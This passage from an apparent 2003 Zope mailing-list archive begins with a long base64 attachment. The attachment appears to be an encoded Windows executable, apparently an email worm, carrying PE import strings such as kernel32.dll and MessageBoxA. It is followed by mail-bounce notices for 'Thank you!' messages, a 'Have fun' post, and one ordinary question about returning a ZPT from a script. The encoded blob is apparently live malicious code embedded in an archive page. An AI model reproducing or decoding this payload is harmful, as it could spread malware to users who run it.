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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAABYQzAwMTgx NWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAMcBAABYQzAwMTgxNWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIcCAABYQzAwMTgxNWQAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANEGAABY QzAwMTgxNWQ= --_NextPart_000_0A48362A-- From Rondaoyut at iobox.fi Fri Aug 22 04:04:36 2003 From: Rondaoyut at iobox.fi (Sage Alred) Date: Sat Aug 23 09:30:37 2003 Subject: [Zope] Have fun Message-ID: An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030822/adf8f3b5/attachment.htm From Postmaster at amexbf.com Fri Aug 22 13:24:26 2003 From: Postmaster at amexbf.com (Postmaster) Date: Sat Aug 23 09:44:53 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: Your message To: customercare+AEA-amexbf.com Subject: Re: Thank you+ACE- Sent: Thu, 21 Aug 2003 22:54:41 -0600 did not reach the following recipient(s): customercare+AEA-amexbf.com on Fri, 22 Aug 2003 12:24:26 -0600 The e-mail account does not exist at the organization this message was sent to. Check the e-mail address, or contact the recipient directly to find out the correct address. +ADw-den-aebf-ex05.amexbf.net +ACM-5.1.1+AD4- -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Thank you! Date: Thu, 21 Aug 2003 22:54:41 -0600 Size: 2454 Url: http:+AC8ALw-lists.zope.org+AC8-pipermail+AC8-zope+AC8-attachments+AC8-20030822+AC8-20b59bdf+AC8-attachment.eml From MAILER-DAEMON at tv2.no Fri Aug 22 18:31:46 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Sat Aug 23 11:29:05 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030822153146.27C73277484@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : transport is unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 408 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030822/c185ee53/attachment.bin From simon at titanic.co.uk Fri Aug 22 18:10:21 2003 From: simon at titanic.co.uk (Simon Faulkner) Date: Sat Aug 23 11:33:29 2003 Subject: [Zope] Script returning a zpt Message-ID: If I call my ZPT with a URL ie show_orders?country=France it works a treat and the ZSql uses the country variable no probs How do I return this URL from a script? return context.show_orders(country='France') doesn't work! Am I miles off? Simon From MAILER-DAEMON at tv2.no Fri Aug 22 18:31:36 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Sat Aug 23 11:36:10 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030822153136.1E98D27746A@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : transport is unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 401 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030822/76e17b96/attachment.bin From postmaster at emirates.net.ae Wed Aug 20 22:21:31 2003 From: postmaster at emirates.net.ae (Internet Mail Delivery) Date: Sat Aug 23 11:38:39 2003 Subject: [Zope] Delivery Notification: Delivery has failed Message-ID: <0HJX002KTHJVJH@dxbrsmail1.emirates.net.ae> This report relates to a message you sent with the following header fields: Return-path: Return-path: Received: from ims-ms-daemon.dxbrsmail1.emirates.net.ae by dxbrsmail1.emirates.net.ae (I&ES Mail Server 4.2) id 